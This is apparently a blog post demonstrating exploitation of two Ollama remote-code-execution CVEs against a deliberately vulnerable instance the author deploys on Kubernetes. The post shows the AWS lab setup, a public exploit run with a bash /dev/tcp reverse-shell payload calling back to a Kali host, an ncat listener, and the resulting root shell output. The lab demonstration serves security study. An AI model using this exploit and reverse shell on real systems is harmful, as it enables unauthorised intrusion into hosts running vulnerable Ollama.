Post

Exploiting RCE Vulnerabilities in Ollama on Kubernetes

Demonstrating the exploitation of CVE-2024-37032 and CVE-2024-45436 vulnerabilities in a containerized Ollama instance running on Kubernetes.

Exploiting RCE Vulnerabilities in Ollama on Kubernetes

Ollama has become a popular tool for running large language models locally. However, like any software, it can have vulnerabilities. This post provides a technical deep dive into two critical vulnerabilities: CVE-2024-37032 and CVE-2024-45436. These vulnerabilities allow for remote code execution (RCE) in older versions of Ollama.

This demonstration is for educational purposes only.

We will walk through a step-by-step demonstration of how an attacker could exploit these vulnerabilities in an Ollama instance running in a Kubernetes cluster. Understanding these attack vectors is crucial for building robust security postures.

📚 References:

🗺️ Architecture Diagram:

sequenceDiagram
    box rgb(220, 80, 80) Attacker
      participant ATK as Attacker (Kali Linux on EC2)
    end
    box rgb(120, 120, 120) Internet
      participant NET as Public Internet
    end
    box rgb(50, 108, 229) Amazon EKS
      participant EKS as Ollama on EKS
      participant POD as Ollama Container
    end

    ATK->>+NET: 1. Sends exploit request (CVE-2024-37032 & CVE-2024-45436)
    NET->>+EKS: 1. Forwards exploit request
    EKS->>+POD: 1. Receives malicious payload
    POD-->>-EKS: 2. Initiates reverse shell connection
    EKS-->>-NET: 2. Forwards reverse shell
    NET-->>-ATK: 2. Establishes reverse shell
    Note over ATK, POD: 3. Attacker gains interactive shell access to the container

Prerequisites

Before we begin, ensure you have the following tools installed and configured:

  • AWS CLI with appropriate permissions to create resources.
  • rain: A delightful CLI for AWS CloudFormation.
  • helm: The package manager for Kubernetes.
1
mise use aws@2.35.2 eksctl@0.227.0 github:aws-cloudformation/rain@1.24.4 helm@4.2.0 kubectl@1.36.1

Environment Setup

The following variables are used in the subsequent steps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# AWS Region
export AWS_REGION="${AWS_REGION:-us-east-1}"
# Hostname / FQDN definitions
export AWS_EC2_KEY_PAIR_NAME="ollama-test"
export CLUSTER_FQDN="${CLUSTER_FQDN:-k01.k8s.mylabs.dev}"
# Base Domain: k8s.mylabs.dev
export BASE_DOMAIN="${CLUSTER_FQDN#*.}"
# Cluster Name: k01
export CLUSTER_NAME="${CLUSTER_FQDN%%.*}"
export SOLUTION_KALI="KaliLinux-NICE-DCV"
export TMP_DIR="${TMP_DIR:-${PWD}/tmp}"
export KUBECONFIG="${KUBECONFIG:-${TMP_DIR}/${CLUSTER_FQDN}/kubeconfig-${CLUSTER_NAME}.conf}"
# Tags used to tag the AWS resources
export TAGS="${TAGS:-Owner=${MY_EMAIL},Environment=dev,Cluster=${CLUSTER_FQDN}}"
mkdir -pv "${TMP_DIR}/${CLUSTER_FQDN}"

AWS EC2 instance with Kali Linux

Launch an AWS EC2 instance with Kali Linux using a CloudFormation template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Download the CloudFormation templates
# renovate: currentValue=master
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/aws-codebuild-samples/00284b828a360aa89ac635a44d84c5a748af03d3/ci_tools/vpc_cloudformation_template.yml
# renovate:
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/amazon-ec2-nice-dcv-samples/2a0cddbdf9bf15dce3faaaf33dc499e52db7423c/cfn/KaliLinux-NICE-DCV.yaml

# Create a new AWS EC2 Key Pair to be used for the EC2 instance
aws ec2 create-key-pair --key-name "${AWS_EC2_KEY_PAIR_NAME}" --key-type ed25519 --query "KeyMaterial" --output text > "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem"
chmod 600 "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem"

# Deploy the VPC CloudFormation stack for the Kali Linux environment
rain deploy --yes "${TMP_DIR}/vpc_cloudformation_template.yml" "${SOLUTION_KALI}-VPC" \
  --params "EnvironmentName=${SOLUTION_KALI}" \
  --tags "Owner=${USER},Environment=dev,Solution=${SOLUTION_KALI}"

# Extract VPC and Subnet IDs from the CloudFormation stack outputs
AWS_CLOUDFORMATION_DETAILS=$(aws cloudformation describe-stacks --stack-name "${SOLUTION_KALI}-VPC" --query "Stacks[0].Outputs[? OutputKey==\`PublicSubnet1\` || OutputKey==\`VPC\`].{OutputKey:OutputKey,OutputValue:OutputValue}")
AWS_VPC_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"VPC\") .OutputValue")
AWS_SUBNET_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"PublicSubnet1\") .OutputValue")

# Deploy the Kali Linux EC2 instance using the CloudFormation template
rain deploy --yes --node-style original "${TMP_DIR}/KaliLinux-NICE-DCV.yaml" "${SOLUTION_KALI}" \
  --params "ec2KeyPair=${AWS_EC2_KEY_PAIR_NAME},vpcID=${AWS_VPC_ID},subnetID=${AWS_SUBNET_ID},ec2TerminationProtection=No,allowWebServerPorts=HTTP-and-HTTPS" \
  --tags "Owner=${USER},Environment=dev,Solution=${SOLUTION_KALI}"

Configure SSH access to the Kali Linux instance:

1
2
AWS_EC2_KALI_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_KALI}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_PUBLIC_IP}" 'curl -Ls https://github.com/ruzickap.keys >> ~/.ssh/authorized_keys'

Enabling Karpenter to Provision amd64 Node Pools

To enable Karpenter to provision an amd64 node pool, create a new NodePool resource as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tee "${TMP_DIR}/${CLUSTER_FQDN}/k8s-karpenter-nodepool-amd64.yml" << EOF | kubectl apply -f -
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
  name: my-default-amd64
spec:
  template:
    spec:
      nodeClassRef:
        group: eks.amazonaws.com
        kind: NodeClass
        name: my-default
      requirements:
        - key: kubernetes.io/arch
          operator: In
          values: ["amd64"]
  limits:
    cpu: 2
    memory: 4Gi
EOF

Deploying Vulnerable Ollama Instance

Install the ollama Helm chart and modify its default values to deploy a vulnerable version (0.1.33):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
OLLAMA_HELM_CHART_VERSION="1.23.0"

helm repo add otwld https://helm.otwld.com/
tee "${TMP_DIR}/${CLUSTER_FQDN}/helm_values-ollama.yml" << EOF
image:
  tag: 0.1.33
ingress:
  enabled: true
  hosts:
    - host: ollama-vulnerable.${CLUSTER_FQDN}
      paths:
        - path: /
          pathType: Prefix
  tls:
    - hosts:
        - ollama-vulnerable.${CLUSTER_FQDN}
nodeSelector:
  kubernetes.io/arch: amd64
EOF
helm upgrade --install --version "${OLLAMA_HELM_CHART_VERSION}" --namespace ollama --create-namespace --wait --values "${TMP_DIR}/${CLUSTER_FQDN}/helm_values-ollama.yml" ollama otwld/ollama

Exploit Execution

Now, let’s execute the exploit from the Kali Linux instance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
AWS_EC2_KALI_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_KALI}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
# shellcheck disable=SC2087
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_PUBLIC_IP}" << EOF
set -euxo pipefail

# Install dependencies
sudo apt update -qq && sudo apt install -qqy golang-go ncat

# Run ncat
echo -e "pwd \n ps -elf \n whoami" | sudo ncat -lnvp 80 --idle-timeout 5 --output /tmp/ncat.log &

# Clone the exploit repository
git clone https://github.com/pankass/CVE-2024-37032_CVE-2024-45436.git
cd CVE-2024-37032_CVE-2024-45436 || exit

# Run the exploit
# The target is our vulnerable Ollama service.
# The -exec payload will create a reverse shell back to our Kali instance.
go run main.go -target "https://ollama-vulnerable.${CLUSTER_FQDN}" -exec "bash -i >& /dev/tcp/${AWS_EC2_KALI_PUBLIC_IP}/80 0>&1"
EOF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
...
...
Vulnerability does exist!!!
http log:
http log: {"status":"unpacking model metadata"}
{"error":"couldn't determine model format"}

pulling model, please wait......
http log: {"status":"pulling manifest"}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":4161536}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":8585216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":10043392}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":15138816}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":19005440}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":23265280}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":26275840}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":28880896}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":33161216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":37093376}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":43012096}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling 797b70c4edf8","digest":"sha256:797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662","total":45949216,"completed":45949216}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling c71d239df917","digest":"sha256:c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4","total":11357,"completed":11357}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 85011998c600","digest":"sha256:85011998c600549934d2b696d7f0cb5078192b56f6c954f6987bf9228870017e","total":16,"completed":16}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"pulling 548455b72658","digest":"sha256:548455b7265836afeea130cfc8919fa3311af2a55b9fec3cbd04e811bb600ee8","total":407,"completed":407}
{"status":"verifying sha256 digest"}
{"status":"writing manifest"}
{"status":"removing any unused layers"}
{"status":"success"}
...
...

Review the results of the commands executed on the compromised container, as captured by ncat:

1
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_PUBLIC_IP}" "cat /tmp/ncat.log"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwd
 ps -elf
 whoami
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@ollama-647f4bd9b6-2nzvm:/# pwd
/
root@ollama-647f4bd9b6-2nzvm:/#  ps -elf
F S UID          PID    PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD
4 S root           1       0  7  80   0 - 512099 futex_ 15:51 ?       00:00:06 /bin/ollama serve
0 S root          14       1  0  80   0 -  2501 do_wai 15:52 ?        00:00:00 /tmp/ollama2637438906/runners/cpu_avx2/ollama_llama_server --model /root/.ollama/models/blobs/sha256-797b70c4edf85907fe0a49eb85811256f65fa0f7bf52166b147fd16be2be4662 --ctx-size 256 --batch-size 512 --embedding --log-disable --parallel 1 --port 42595
4 S root          15      14  0  80   0 -   723 do_wai 15:52 ?        00:00:00 sh -c bash -c 'bash -i >& /dev/tcp/50.16.37.101/80 0>&1'
4 S root          16      15  0  80   0 -  1091 do_wai 15:52 ?        00:00:00 bash -c bash -i >& /dev/tcp/50.16.37.101/80 0>&1
4 S root          17      16  0  80   0 -  1157 do_wai 15:52 ?        00:00:00 bash -i
4 R root          20      17  0  80   0 -  1766 -      15:52 ?        00:00:00 ps -elf
root@ollama-647f4bd9b6-2nzvm:/#  whoami
root
root@ollama-647f4bd9b6-2nzvm:/# exit

View Ollama Pod Logs:

1
kubectl logs -n ollama "$(kubectl get pods -n ollama -o jsonpath='{.items[0].metadata.name}')"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Couldn't find '/root/.ollama/id_ed25519'. Generating new private key.
Your new public key is:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPJt8RLcfSPdRn0b1uWMsLOVoJHq+o761pxK56ehTdn

time=2025-07-11T15:51:36.369Z level=INFO source=images.go:828 msg="total blobs: 0"
time=2025-07-11T15:51:36.369Z level=INFO source=images.go:835 msg="total unused blobs removed: 0"
time=2025-07-11T15:51:36.370Z level=INFO source=routes.go:1071 msg="Listening on [::]:11434 (version 0.1.33)"
llm_load_print_meta: model type       = 22M
llm_load_print_meta: model ftype      = F16
llm_load_print_meta: model params     = 22.57 M
llm_load_print_meta: model size       = 43.10 MiB (16.02 BPW)
llm_load_print_meta: general.name     = all-MiniLM-L6-v2
llm_load_print_meta: BOS token        = 101 '[CLS]'
llm_load_print_meta: EOS token        = 102 '[SEP]'
llm_load_print_meta: UNK token        = 100 '[UNK]'
llm_load_print_meta: SEP token        = 102 '[SEP]'
llm_load_print_meta: PAD token        = 0 '[PAD]'
llm_load_print_meta: CLS token        = 101 '[CLS]'
llm_load_print_meta: MASK token       = 103 '[MASK]'
llm_load_print_meta: LF token         = 0 '[PAD]'
llm_load_tensors: ggml ctx size =    0.05 MiB
llm_load_tensors:        CPU buffer size =    43.10 MiB
...............................
llama_new_context_with_model: n_ctx      = 256
llama_new_context_with_model: n_batch    = 512
llama_new_context_with_model: n_ubatch   = 512
llama_new_context_with_model: freq_base  = 10000.0
llama_new_context_with_model: freq_scale = 1
llama_kv_cache_init:        CPU KV buffer size =     2.25 MiB
llama_new_context_with_model: KV self size  =    2.25 MiB, K (f16):    1.12 MiB, V (f16):    1.12 MiB
llama_new_context_with_model:        CPU  output buffer size =     0.00 MiB
llama_new_context_with_model:        CPU compute buffer size =     5.00 MiB
llama_new_context_with_model: graph nodes  = 221
llama_new_context_with_model: graph splits = 1
{"function":"initialize","level":"INFO","line":448,"msg":"initializing slots","n_slots":1,"tid":"139831842998144","timestamp":1752249176}
{"function":"initialize","level":"INFO","line":457,"msg":"new slot","n_ctx_slot":256,"slot_id":0,"tid":"139831842998144","timestamp":1752249176}
{"function":"main","level":"INFO","line":3067,"msg":"model loaded","tid":"139831842998144","timestamp":1752249176}
{"function":"main","hostname":"127.0.0.1","level":"INFO","line":3270,"msg":"HTTP server listening","n_threads_http":"3","port":"42595","tid":"139831842998144","timestamp":1752249176}
{"function":"update_slots","level":"INFO","line":1581,"msg":"all slots are idle and system prompt is empty, clear the KV cache","tid":"139831842998144","timestamp":1752249176}
{"function":"process_single_task","level":"INFO","line":1509,"msg":"slot data","n_idle_slots":1,"n_processing_slots":0,"task_id":0,"tid":"139831842998144","timestamp":1752249176}
{"function":"log_server_request","level":"INFO","line":2737,"method":"GET","msg":"request","params":{},"path":"/health","remote_addr":"127.0.0.1","remote_port":45762,"status":200,"tid":"139831757436480","timestamp":1752249176}
[GIN] 2025/07/11 - 15:52:56 | 200 |  256.889485ms |    50.16.37.101 | POST     "/api/embeddings"
[GIN] 2025/07/11 - 15:52:58 | 200 |      19.515µs |  192.168.95.252 | GET      "/"

🕹️ Recorded screen cast:

Conclusion

This walkthrough demonstrated that CVE-2024-37032 and CVE-2024-45436 are critical vulnerabilities that can lead to a full container compromise with relative ease. While we used a specific public PoC, the underlying vulnerability could be exploited in various ways.

Cleanup

Delete the Kali Linux EC2 instance, EC2 Key Pair, and related CloudFormation stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
export AWS_REGION="${AWS_REGION:-us-east-1}"
export AWS_EC2_KEY_PAIR_NAME="ollama-test"
export SOLUTION_KALI="KaliLinux-NICE-DCV"
export CLUSTER_FQDN="${CLUSTER_FQDN:-k01.k8s.mylabs.dev}"
export CLUSTER_NAME="${CLUSTER_FQDN%%.*}"
export TMP_DIR="${TMP_DIR:-${PWD}/tmp}"
export KUBECONFIG="${KUBECONFIG:-${TMP_DIR}/${CLUSTER_FQDN}/kubeconfig-${CLUSTER_NAME}.conf}"
mise use aws@2.35.2 eksctl@0.227.0

# Delete CloudFormation stack
aws cloudformation delete-stack --stack-name "${SOLUTION_KALI}"

# Delete EKS cluster if exists
if eksctl get cluster --name="${CLUSTER_NAME}"; then
  eksctl delete cluster --name="${CLUSTER_NAME}" --force
fi

# Delete VPC stack and EC2 key pair
aws cloudformation delete-stack --stack-name "${SOLUTION_KALI}-VPC"
aws ec2 delete-key-pair --key-name "${AWS_EC2_KEY_PAIR_NAME}"

# Remove local files
for FILE in ${TMP_DIR}/{vpc_cloudformation_template.yml,KaliLinux-NICE-DCV.yaml,${AWS_EC2_KEY_PAIR_NAME}.pem,helm_values-ollama.yml,kubeconfig-${CLUSTER_NAME}.conf}; do
  if [[ -f "${FILE}" ]]; then
    rm -v "${FILE}"
  else
    echo "*** File not found: ${FILE}"
  fi
done

Enjoy … 😉

This post is licensed under CC BY 4.0 by the author.